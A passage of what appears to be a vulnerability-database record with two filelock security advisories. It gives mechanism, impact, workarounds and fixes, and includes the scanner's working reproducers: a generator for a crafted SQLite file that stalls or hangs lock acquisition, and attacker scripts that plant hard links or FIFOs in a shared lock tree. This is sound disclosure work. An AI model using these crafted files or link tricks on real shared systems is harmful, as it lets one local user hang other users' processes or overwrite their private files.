`0666` database owned by the lock user. The scanner did not test systems with `fs.protected_regular=0` (the kernel's own default).\n- Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_configure_and_begin` runs `PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` on a fresh connection](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L814-L816), and for a read lock [`SELECT name FROM sqlite_master LIMIT 1` at line 832](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L832). The code in [`_do_acquire_inner` closes the previous connection and opens a new one on every acquire](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L745-L754). The only content checks are [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) (regular file) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) (20 header bytes).\n\n## Introduced\n\nThe acquire path dates from `cfd4446` (\"feat(lock): add SQLite-based ReadWriteLock (#399)\", 2026-02-12), first released in **3.20.4** (verified: `git tag --contains cfd4446` gives 3.20.4). Since #657 (3.30.0) the lock reopens the connection on every acquire, so the stall repeats on every acquire rather than once per instance.\n\n## Mechanism\n\n`PRAGMA journal_mode=MEMORY` is the first statement that needs the schema. SQLite reads every row of `sqlite_master` and parses each row's `sql` text there. Run one at a time on the crafted file, `PRAGMA busy_timeout` returns at once and `PRAGMA journal_mode=MEMORY` takes the whole time. The read-mode `SELECT` needs the schema too. The caller's `timeout` reaches SQLite only as `busy_timeout` (lines 814 to 816 and 823 to 826), which limits how long SQLite waits for another connection's file lock. Loading the schema is not a wait, so nothing limits it. `blocking=False` and `timeout=0` reach SQLite as `busy_timeout=0` and stall the same way (2.4 s each with a 5-row file). `acquire_write` runs the same pragma. `AsyncReadWriteLock.read_lock(timeout=1)` stalls the same way (4.7 s with 10 rows; wrapping the acquire in `asyncio.wait_for(..., 2)` does not return earlier). A second `acquire_read` on the same instance stalls for as long as the first.\n\nThe constructor is not affected. Its validation connection (lines 484 and 485) runs no statement, so the lock user sees nothing until the first acquire. A stack dump taken 2 s into the stall shows the thread in `_configure_and_begin` at the `executescript` call. The lock accepts any SQLite file that is a regular file and not in WAL mode, whoever created it. Two layouts reach the load, at the same statement and with the same preconditions.\n\n**Long schema rows.** Each `sqlite_master` row is `('table', 't0001', 't0001', 2, 'CREATE TABLE t0001(x) --AAAA…')` with an `sql` text of 999,999,024 bytes, under SQLite's 1,000,000,000-byte limit. The file does not store the text. Each row's cell names page 2 as its first overflow page (a page that holds the part of a row too large for its own page), and the \"next overflow page\" field of page 2 names page 2 again. SQLite builds each row from the same 4 KB page, read about 244,000 times over. The header claims 244,142 pages, because SQLite rejects a record larger than page size times page count. The script extends the file to that length as a hole (unallocated space that reads as zeros), because SQLite also rejects a file shorter than its header claims. Eight rows fit in one 4 KB leaf page. The statements are valid `CREATE TABLE`s, so SQLite reports no error, and after the stall the acquire succeeds; it does not raise `Timeout`.\n\nMeasured with `read_lock(timeout=1)`: 1 row, 12,288 bytes on disk, returns after 0.6 s; 10 rows, 16,384 bytes, 4.8 s; 50 rows, 36,864 bytes, 23 s. Peak RSS (resident set size, the memory the process holds) is 981 MB in every case, because memory stays at one row's worth; the cost is about 0.47 s per row. Under a 512 MiB address-space limit the same acquire raises `MemoryError` from line 816.\n\n**Looping interior pages.** The long rows are one way in, not the cause: SQLite loads whatever schema the file holds, with no bound. A 20 KB file with no long rows, whose three index pages each point 200 times at the same child page (8,000,000 leaves), stalls `read_lock(timeout=1)` for 8 s with 10 MB of memory. Each extra level multiplies the time by the fan-out (the number of children per page).\n\nAt the largest fan-out SQLite accepts, the stall becomes a hang. In a 28,672-byte file of seven 4 KB pages, pages 1 to 6 are `sqlite_master` interior pages whose 660 cell pointers all name one 5-byte cell. That cell's child and the page's right-most child are both the next page, and page 7 is a leaf with one row of five NULLs. SQLite 3.40.1 refuses a page with more than 681 cells and a tree deeper than 20 pages, but does not notice that it reaches a page more than once. Each level therefore multiplies the rows of `sqlite_master` by 661.\n\nThe row is not a valid schema entry, and that does not stop the scan: SQLite raises `sqlite3.DatabaseError: malformed database schema (?)` only after the last row. One level raises `DatabaseError` at once. Two levels (12 KiB) give 436,921 rows after 0.16 s. Six levels (28 KiB) give 661⁶, about 8 × 10¹⁶ rows, still at line 816 with 30 s of CPU time used when killed after 30 s. On that file `acquire_write(timeout=1)`, `acquire_read(blocking=False)` and `acquire_read(timeout=0)` spin on the same line. `SIGINT` does not raise `KeyboardInterrupt` (the process was still running at 100% CPU 4 s after `kill -INT`), because the thread does not leave the one SQLite call.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-NFPRHMYJ`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport resource\nimport shutil\nimport subprocess\nimport sys\nimport time\n\n# set up: a cache directory both accounts can write, without the sticky bit\nshared_dir = \"/tmp/shared-cache\"\nshutil.rmtree(shared_dir, ignore_errors=True)\nos.mkdir(shared_dir)\nos.chmod(shared_dir, 0o777)\nlock_db = f\"{shared_dir}/cache.lock.db\"\n\n# attack: the attacker creates the lock database first, with 50 schema rows\nsubprocess.run(\n    [sys.executable, \"/tmp/repro.d/make_stalling_db.py\", lock_db, \"50\"],\n    user=\"attacker\", group=\"attacker\", extra_groups=[], check=True,\n)\nprint(\"lock database uses\", os.stat(lock_db).st_blocks * 512, \"bytes of disk\", flush=True)\n\n# victim: an application takes the read lock with a one-second timeout\nstarted = time.monotonic()\nsubprocess.run(\n    [sys.executable, \"/tmp/repro.d/victim_reader.py\", lock_db],\n    user=\"victim\", group=\"victim\", extra_groups=[], timeout=600,\n)\nvictim_ran_for = time.monotonic() - started\n\n# check: with timeout=1 the victim must be done within about a second, either holding the lock or with Timeout\nvictim_peak_rss_mb = resource.getrusage(resource.RUSAGE_CHILDREN).ru_maxrss // 1024  # the victim is the largest child\nprint(f\"victim process ran for {victim_ran_for:.1f} s, peak RSS {victim_peak_rss_mb} MB\")\nprint(\"BUG\" if victim_ran_for > 10 else \"OK\")\n```\n\n**`repro.d/make_stalling_db.py`**\n\n```python\n#!/usr/bin/env python3\n# usage: make_stalling_db.py <database path> <number of schema rows>\n#\n# Writes a SQLite database whose sqlite_master rows each carry ~1 GB of `sql` text, stored in a few 4 KB pages:\n# every row's text continues on one overflow page whose \"next overflow page\" field names itself.\nimport os\nimport struct\nimport sys\n\ndatabase, schema_rows = sys.argv[1], int(sys.argv[2])\n\nPAGE_SIZE = 4096\nLOOP_PAGE = 2\nCOMMENT_LEN = 999_999_000  # keeps each sql text just under SQLite's 1,000,000,000-byte string limit\nCLAIMED_PAGES = COMMENT_LEN // PAGE_SIZE + 2  # SQLite refuses a record longer than page size x pages in the file\nTABLE_INTERIOR_PAGE, TABLE_LEAF_PAGE = 0x05, 0x0D\n\n\ndef varint(value):\n    groups = [value & 0x7F]\n    while value := value >> 7:\n        groups.insert(0, value & 0x7F | 0x80)\n    return bytes(groups)\n\n\ndef schema_row_cell(rowid):\n    # the row ('table', name, name, 2, 'CREATE TABLE name(x) --AAAA...'): a valid statement, so SQLite reports no error\n    name = b\"t%04d\" % rowid\n    sql_start = b\"CREATE TABLE \" + name + b\"(x) --\"\n    sql_len = len(sql_start) + COMMENT_LEN\n    serial_types = b\"\".join(varint(t) for t in [13 + 2 * 5, 13 + 2 * len(name), 13 + 2 * len(name), 1, 13 + 2 * sql_len])\n    record_start = varint(1 + len(serial_types)) + serial_types + b\"table\" + name + name + b\"\\x02\" + sql_start\n    record_len = len(record_start) + COMMENT_LEN\n    # the file format's rule for how much of an overflowing table-leaf record stays on the leaf page\n    min_local, max_local = (PAGE_SIZE - 12) * 32 // 255 - 23, PAGE_SIZE - 35\n    local = min_local + (record_len - min_local) % (PAGE_SIZE - 4)\n    if local > max_local:\n        local = min_local\n    return varint(record_len) + varint(rowid) + record_start.ljust(local, b\"A\") + struct.pack(\">I\", LOOP_PAGE)\n\n\ndef btree_page(page_type, cells, right_child=b\"\", header_offset=0):\n    page = bytearray(PAGE_SIZE)\n    content_start = PAGE_SIZE\n    cell_pointers = b\"\"\n    for cell in cells:\n        content_start -= len(cell)\n        page[content_start : content_start + len(cell)] = cell\n        cell_pointers += struct.pack(\">H\", content_start)\n    header = struct.pack(\">BHHHB\", page_type, 0, len(cells), content_start, 0) + right_child + cell_pointers\n    page[header_offset : header_offset + len(header)] = header\n    return page\n\n\n# pages 3 and up: the leaves of sqlite_master, about eight rows each\ncells = [schema_row_cell(rowid) for rowid in range(1, schema_rows + 1)]\nrows_per_leaf = (PAGE_SIZE - 8) // (len(cells[0]) + 2)\nleaves = [btree_page(TABLE_LEAF_PAGE, cells[i : i + rows_per_leaf]) for i in range(0, schema_rows, rows_per_leaf)]\n\n# page 2: the overflow page, pointing at itself, then 4092 bytes of comment text\nloop_page = struct.pack(\">I\", LOOP_PAGE) + b\"A\" * (PAGE_SIZE - 4)\n\n# page 1: the database header, then the root of sqlite_master with one child per leaf\nfirst_leaf, last_leaf = 3, 3 + len(leaves) - 1\nchildren = [struct.pack(\">I\", first_leaf + i) + varint((i + 1) * rows_per_leaf) for i in range(len(leaves) - 1)]\nroot_page = btree_page(TABLE_INTERIOR_PAGE, children, right_child=struct.pack(\">I\", last_leaf), header_offset=100)\nroot_page[:100] = b\"\".join([\n    b\"SQLite format 3\\0\",\n    struct.pack(\">H\", PAGE_SIZE),\n    bytes([1, 1]),  # file format versions: rollback journal, not WAL (which ReadWriteLock refuses)\n    bytes([0, 64, 32, 32]),  # reserved bytes per page and the three fixed payload fractions\n    struct.pack(\">I\", 1),  # file change counter\n    struct.pack(\">I\", CLAIMED_PAGES),  # database size in pages\n    struct.pack(\">II\", 0, 0),  # no freelist\n    struct.pack(\">II\", 1, 4),  # schema cookie, schema format\n    struct.pack(\">II\", 0, 0),  # default cache size, no auto-vacuum\n    struct.pack(\">I\", 1),  # text encoding: UTF-8\n    struct.pack(\">III\", 0, 0, 0),  # user version, incremental vacuum, application id\n    bytes(20),\n    struct.pack(\">I\", 1),  # version-valid-for equals the change counter, so SQLite trusts the page count above\n    struct.pack(\">I\", 3040001),  # SQLite version that wrote the file\n])\n\nwith open(database, \"wb\") as file:\n    file.write(root_page + loop_page + b\"\".join(leaves))\n    written = file.tell()\n    file.truncate(CLAIMED_PAGES * PAGE_SIZE)  # SQLite also refuses a file shorter than it claims; this stays a hole\nos.chmod(database, 0o666)  # the victim's ReadWriteLock opens the database read-write\nprint(f\"attacker: wrote {database}: {schema_rows} schema rows in {written} bytes, apparent size {CLAIMED_PAGES * PAGE_SIZE}\")\n```\n\n**`repro.d/victim_reader.py`**\n\n```python\nimport sys\nimport time\n\nfrom filelock import ReadWriteLock, Timeout\n\nlock = ReadWriteLock(sys.argv[1])\nstarted = time.monotonic()\ntry:\n    with lock.read_lock(timeout=1):\n        outcome = \"acquired\"\nexcept Timeout:\n    outcome = \"timed out\"\nprint(f\"victim: read_lock(timeout=1) {outcome} after {time.monotonic() - started:.1f} s\")\n```\n\n## Failure sequence\n\n```mermaid\nflowchart TB\n    P0[\"other user puts a crafted SQLite file at the lock path (mode 0666), or overwrites a 0666 database owned by the lock user\"] --> P1[\"lock user's acquire_read(timeout=1) opens a fresh connection, header is not WAL so it is accepted\"]\n    P1 --> P2[\"PRAGMA busy_timeout then PRAGMA journal_mode=MEMORY loads all of sqlite_master, busy_timeout does not apply to schema loading\"]\n    P2 --> P3[\"50 rows of ~1 GB through one self-referencing overflow page: returns after 24.6 s at 981 MB RSS, lock granted, no Timeout\"]\n    P2 --> P4[\"6 interior levels pointing at one child (28 KiB): 661^6 rows, does not return, 100% CPU, SIGINT ignored, process must be killed\"]\n    classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;\n    classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;\n    classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;\n    class P0,P1,P2 info;\n    class P3,P4 bad;\n```\n\n## Evidence\n\nThe scanner's reproducer runs as root and drops to `attacker` and `victim`. It recreates `/tmp/shared-cache` with mode `0777` and no sticky bit. It runs `make_stalling_db.py /tmp/shared-cache/cache.lock.db 50` as `attacker`. That script writes the header and the `sqlite_master` root on page 1, the self-referencing overflow page on page 2, and leaf pages holding 50 valid `CREATE TABLE tNNNN(x) --AAAA…` rows whose text runs to under 1 GB through page 2, extended to the claimed page count as a hole, mode `0666`. It then runs `victim_reader.py` (`ReadWriteLock(path)` and one `with lock.read_lock(timeout=1):`) as `victim` and times it:\n\n```\nattacker: wrote /tmp/shared-cache/cache.lock.db: 50 schema rows in 36864 bytes, apparent size 1000005632\nlock database uses 36864 bytes of disk\nvictim: read_lock(timeout=1) acquired after 24.6 s\nvictim process ran for 24.8 s, peak RSS 981 MB\nBUG\n```\n\nThe verdict is `BUG` when the `victim` process, whose only work is an acquire with a one-second timeout, ran for more than 10 s. A separate script in the report (`looping_db.py`) builds the looping file; the same `victim_reader.py` run on it as `victim` does not return. A `victim` process that had already used the lock stalled on its next acquire after the other user swapped the file under it. In a `1777` directory a `0666` database owned by `victim`, overwritten in place with the looping file, hung the next acquire.\n\nOur verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head the `victim` process stops with a `ValueError` after 0.1 s at 24 MB peak RSS and the reproducer prints `OK`.\n\n## Impact\n\nAnother local user who can create or replace the lock database makes every `acquire_read` / `acquire_write` of every process using that `ReadWriteLock` run for a time of their choosing (about 500 bytes of disk per extra half second) while allocating about 1 GB, or not return at all, regardless of `timeout` or `blocking=False`. This goes beyond what holding the lock gives that user, because a held lock ends in `Timeout` when the caller's timeout runs out, and this does not. With the looping-page layout the acquiring thread spins at 100% of one CPU on a free lock, `Timeout` is not raised, Ctrl-C does not interrupt it, and only killing the process ends it. It is a denial of service of the lock user's process only: it reads nothing and corrupts nothing, and in the long-row case the lock is still granted afterwards.\n\n## Workarounds\n\n- Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky.\n- Do not give the lock a database another account may write. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content. A lock shared between accounts through a `0666` database stays reachable even in `/tmp`.\n- If a stall or hang appears, the file at the lock path is the cause; replacing it with an empty file restores the lock.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it\n- 2026-10-16 01:15 UTC: fix PR #834 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-cwqr-hh33-gh44"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112915"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/834"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112934","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-fj95-fr6c-h845","CVE-2026-112934"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.32.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock: SoftReadWriteLock holder refresh writes through a hard link and hangs on a named pipe that another local user renames over its record","details":"`SoftReadWriteLock` (and `AsyncSoftReadWriteLock`, which wraps one) refreshes its holder record (the file under `<path>.rw/holders/` that says a process holds or wants the lock) on every poll of a waiting acquire and on every heartbeat (the periodic refresh a holder runs to keep its record fresh). It does so by reopening `<path>.rw/holders/<token>` by name with a plain blocking `O_WRONLY | O_NOFOLLOW` open and writing at offset 0, without checking what it opened. `O_NOFOLLOW` makes the open fail only when the final name is a symbolic link (a file that redirects to another path).\n\nA different local user (the other user below) who owns the lock's `.rw` tree reads the token of the user running the lock (the lock user below) from the `holders/` listing and renames another node over the record. The other user owns the tree because it created it first in a sticky directory such as `/tmp` (the sticky bit is a directory flag that lets only a file's owner rename or remove it), or because it can write a lock directory without the sticky bit.\n\nA FIFO (a named pipe: a file whose open for writing blocks until some process opens it for reading) makes the lock user's `write_lock()` / `read_lock()` hang regardless of `timeout`. It also stops a lock holder's heartbeat thread without `on_compromise` (the callback that tells a holder it lost the lock) ever running, so the lock grants a second process while the first still believes it holds it. This works on a default Linux.\n\nWhere the kernel lets a user hard-link a file it does not own (a hard link is a second name for the same file; Linux with `fs.protected_hardlinks=0`; macOS and the BSDs by their defaults, not executed), a hard link makes the lock user overwrite the first ~135 bytes of one of its own private files with its holder record. Affected versions: filelock >= 4.0.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as `ANT-2026-AT33VEVC` [medium, CWE-62], titled \"SoftReadWriteLock holder refresh writes through hard links, hangs on FIFOs\".\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H, 6.1 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:L` (low attack complexity): on a default Linux there is no race. `PR:L` (low privileges): a local user with ordinary privileges is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:N` (no confidentiality impact): the other user learns nothing. `I:L` (low integrity impact): where the kernel permits hard links to files one does not own, the lock user also writes its holder record over the first ~135 bytes of one of its private files. The bytes are filelock's record, not chosen by the other user, so the change stays within that record. `A:H` (high availability impact): the other user makes a lock user's acquire outlast any `timeout` and leaves a holder's heartbeat thread asleep. The lock then evicts the holder without telling it, and two processes believe they hold the write lock.\n\nClassification from the external review: conditional security. The owner of a planted `.rw` tree can make the refresh open a FIFO and stall a lock user, including its heartbeat. Overwriting a file of the lock user through a hard link also needs a permissive hard-link policy. The scanner rated it medium.\n\n## Scope and preconditions\n\n- Trust boundary: the other party is a different local account that owns the lock's `.rw` tree. Either it created `<path>.rw` (with `gen/` and `holders/`) before the lock's first use in a sticky directory such as `/tmp`, where `prepare()` adopts an existing tree whoever owns it and whatever its mode. Or the lock lives in a directory without the sticky bit that the account can write (the scanner checked a root-created `0777` directory). There being first is not needed, because the other user renames the lock user's own `0700` tree aside and puts its own in place; `prepare()` does not run again for a live lock object, and a waiting lock user recreates its record in the replacement. A tree the lock user already created in a sticky directory (mode `0700`) is out of reach.\n- FIFO variant: needs only that boundary. It works on a default Linux. `fs.protected_hardlinks` plays no part, and `fs.protected_fifos=1` (a Linux setting that refuses some opens of FIFOs in sticky world-writable directories) does not help, since it covers `O_CREAT` opens in sticky directories only, and the other user renames the FIFO into place inside its own `holders/`.\n- Hard-link variant: also needs a kernel that permits a hard link to a file the caller does not own. That is Linux with `fs.protected_hardlinks=0` (the kernel's built-in value; observed), while most distributions and the scanner's test image boot with `1`, under which the other user's `link()` fails with `EPERM` (operation not permitted) and the file stays untouched. macOS and the BSDs have no such restriction by default; that follows from their `link(2)` semantics, and the scanner did not execute it. The target must be a regular file the lock user may write, on the same filesystem as the lock, in a directory the other user can search. A `0600` file in a `0755` home directory qualifies; a file under a `0700` directory does not.\n- Platform: observed on Linux 6.1. `AsyncSoftReadWriteLock` runs the same code through an executor thread and loses that thread (from the code, not run). On Windows named pipes cannot live in a regular directory, so there is no FIFO case there.\n- Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`, [`OsFiles.overwrite` opens by name with `O_WRONLY | O_NOFOLLOW` and writes without `fstat`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L94-L100) (`fstat` would report the type of the file behind the open descriptor), while [`read` just above it uses `O_NONBLOCK` and a regular-file check](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L36-L43). The blocking open is [`_attempt_open`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L156-L160) via [`_open`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L143). [`prepare` adopts an existing tree whoever owns it](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L121-L133). The single caller is [`Participant._refresh_nonce`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L544-L545), reached from [`_keep_claim_fresh`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L487-L496) on every poll of a waiting acquire and from [`heartbeat`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L547-L560), which knows only `lost` and `transient`, not a call that does not return. The acquire loop checks its deadline and the `_closed` flag only after `advance()` returns ([`_sync.py` lines 584–592](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L584-L592)). The code maps the heartbeat outcome at [lines 603–613](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L603-L613), and release joins the heartbeat thread for `heartbeat_interval + 1` at [line 446](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L446).\n\n## Introduced\n\nThe unguarded reopen came with `f974328` (\"fix(soft-rw): replace the state mutex with a generation log (#738)\", 2026-09-17), which dropped the earlier marker code's check of the opened descriptor. It was first released in 4.0.0 (verified with `git tag --contains f974328`, which answers 4.0.0).\n\n## Mechanism\n\n`OsFiles.overwrite()` refreshes a holder record by opening `holders/<token>` by name and writing at offset 0. `O_NOFOLLOW` refuses a symbolic link at that name (a planted one ends the acquire with `OSError: [Errno 40]` and the target untouched). A hard link is an ordinary directory entry, and a FIFO is not a symbolic link either. Nothing between the open and the write checks that the descriptor is the file `create()` made. Another user who can rename inside `holders/` has two ways to use the one unguarded reopen, depending on the node it puts under the lock user's record name:\n\n1. The other user can write `holders/`. `prepare()` uses an existing protocol tree whoever owns it; it checks only the node type. In sticky `/tmp`, the user who creates `/tmp/app.lock.rw/{gen,holders}` before the lock's first use owns `holders/` and may rename over anything the lock user creates in it. In a shared directory without the sticky bit, being first is not needed.\n2. The lock user publishes its record and drops the descriptor. `Participant.publish()` calls `OsFiles.create()`, which opens `holders/<token>` with `O_CREAT | O_EXCL`, writes the record and closes. The token is the file name, so the other user reads it from a listing of its own directory.\n3. The other user swaps the name. Hard link: `link(\"/home/victim/accounts.csv\", \"holders/link\")`, then `rename(\"holders/link\", \"holders/<token>\")`; `link(2)` needs search permission on `/home/victim` and write permission on `holders/`, nothing on the file. FIFO: `mkfifo` (mode `0666`) + `rename`, so the name is absent at no point and the lock user does not take the \"record is gone, recreate it\" branch.\n4. The lock user writes by name. Each poll of a waiting acquire (`poll_interval`, 0.25 s) runs `advance()` → `_keep_claim_fresh()` → `_refresh_nonce()` → `overwrite()`. With the hard link the lock user owns the linked file, so `O_WRONLY` succeeds and `write_all` puts `encode_holder(...)` at offset 0 without truncating. The lock user's call then ends in an ordinary `Timeout`. A granted holder does the same from its heartbeat thread every `heartbeat_interval` (30 s by default). With `heartbeat_interval=0.5`, the holder also writes through a link planted one second after it got the write lock, and `lock.compromise` stays `None`.\n5. The link disappears. On `Timeout` or release, `leave()` unlinks `holders/<token>`, which is now the other user's link. The target is back to one link and `holders/` is empty.\n\nThe scanner observed this with the hard link. `victim` runs `SoftReadWriteLock(\"/tmp/app.lock\").write_lock(timeout=2)` and waits. `attacker`, who created `/tmp/app.lock.rw` first, renames a hard link to `/home/victim/accounts.csv` (mode `0600`, owner `victim`; the `attacker` account can neither read nor write it) over the record. The file keeps its size, owner and mode. It now begins `filelock-rw/1\\ntoken=ea480210b6cacc96a657f16d93f7f284\\npid=210\\nhost=cfz?pidns-f0000217\\nlease=90.0\\nnonce=5f8f61dcf2607b56ef05c521bdade557\\n`, followed by its original content from offset 135 on (the record length varies with the PID and the host name).\n\nThe same reopen with a FIFO: `open(fifo, O_WRONLY)` without `O_NONBLOCK` (the flag that makes such an open return at once) blocks until the FIFO has a reader. The scanner observed two cases on the image with its default settings.\n\nIn a waiting acquire, the code checks the deadline one level above the blocked call, so an `open` that does not return outlasts any `timeout`, and a `close()` from another thread. The lock user, with the FIFO in place of the hard link, is still inside `write_lock(timeout=2)` 12 s later, at `_storage.py:158 _attempt_open ← :143 _open ← :96 overwrite ← _protocol.py:545 _refresh_nonce ← :494 _keep_claim_fresh ← :464 advance ← _sync.py:584 _wait_for ← :512 _do_acquire_inner`; without the FIFO the same call raises `Timeout` after 2.0 s.\n\nInside filelock the only thing that ends the block is a peer's `read()` of the same name: its non-blocking open is a reader for a moment, the stuck open returns, and `write_all` then fails with `EPIPE` (broken pipe). Peers read a waiter's record only in `_sweep`, at most every `stale_threshold / 2` (`stale_threshold` is the age after which peers treat a record as abandoned). With a live holder on default settings `write_lock(timeout=2)` returned after 59.9 s with `BrokenPipeError` instead of `Timeout`, and with no live peer it was still blocked after 150 s. The blocked thread is also still inside `_acquire`'s `self._locks.transaction` section, so other threads acquiring through the same instance wait behind it.\n\nFor a holder's heartbeat, `heartbeat()` knows two failures. `overwrite` returning `False` is `lost`, an `OSError` is `transient`, and `_refresh` turns those into an `evicted` or a `refresh-failed` compromise. A blocked call is neither. With `heartbeat_interval=1, stale_threshold=3` and the FIFO renamed over the record after the grant: 6.5 s later `lock.compromise` is still `None`, `on_compromise` has not run, `release()` takes 2.0 s (the join timeout; 31 s with the default interval) and the `filelock-heartbeat-*` thread is still alive after it. For comparison, when someone deletes the record outright, the holder learns `evicted` at its next heartbeat.\n\nWhen whoever planted the FIFO keeps it open with the pipe buffer full, the `open` succeeds and `write_all` is what blocks, and peers' reads no longer disturb it. Run that way with the same intervals, a second process read the record as `b\"\"`, evicted the holder after `stale_threshold` and got the write lock 3.0 s later, while the first process was still in its critical section with `lock.compromise is None` and `on_compromise` not called.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-AT33VEVC`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nLOCK_TREE = \"/tmp/app.lock.rw\"\nVICTIM_FILE = \"/home/victim/accounts.csv\"\nPROTECTED_HARDLINKS = \"/proc/sys/fs/protected_hardlinks\"\nas_victim = [\"runuser\", \"-u\", \"victim\", \"--\"]\nas_attacker = [\"runuser\", \"-u\", \"attacker\", \"--\"]\n\n# set up: a file only the victim may read or write, on the same filesystem as /tmp\noriginal = b\"name,balance\\n\" + b\"\".join(b\"customer-%03d,1000\\n\" % n for n in range(20))\nwith open(VICTIM_FILE, \"wb\") as f:\n    f.write(original)\nshutil.chown(VICTIM_FILE, \"victim\", \"victim\")\nos.chmod(VICTIM_FILE, 0o600)\nshutil.rmtree(LOCK_TREE, ignore_errors=True)\n\ndirect_write = subprocess.run([*as_attacker, \"truncate\", \"-s\", \"0\", VICTIM_FILE], capture_output=True, text=True)\nprint(\"CONTROL  attacker writes the file itself:\", direct_write.stderr.strip())\nassert direct_write.returncode != 0\n\n# The one non-default setting: 0 (the kernel's built-in value, and what macOS and the BSDs allow) lets a user hard-link\n# a file it does not own. With 1, as this image boots, the attacker's link() fails with EPERM. Kernel-wide, so restored.\nprotected_hardlinks_before = open(PROTECTED_HARDLINKS).read()\nopen(PROTECTED_HARDLINKS, \"w\").write(\"0\")\ntry:\n    # attack\n    subprocess.run([*as_attacker, sys.executable, \"/tmp/repro.d/attacker_creates_lock_tree_first.py\"], check=True)\n    link_planter = subprocess.Popen(\n        [*as_attacker, sys.executable, \"/tmp/repro.d/attacker_plants_hard_link.py\"], stdout=subprocess.PIPE, text=True\n    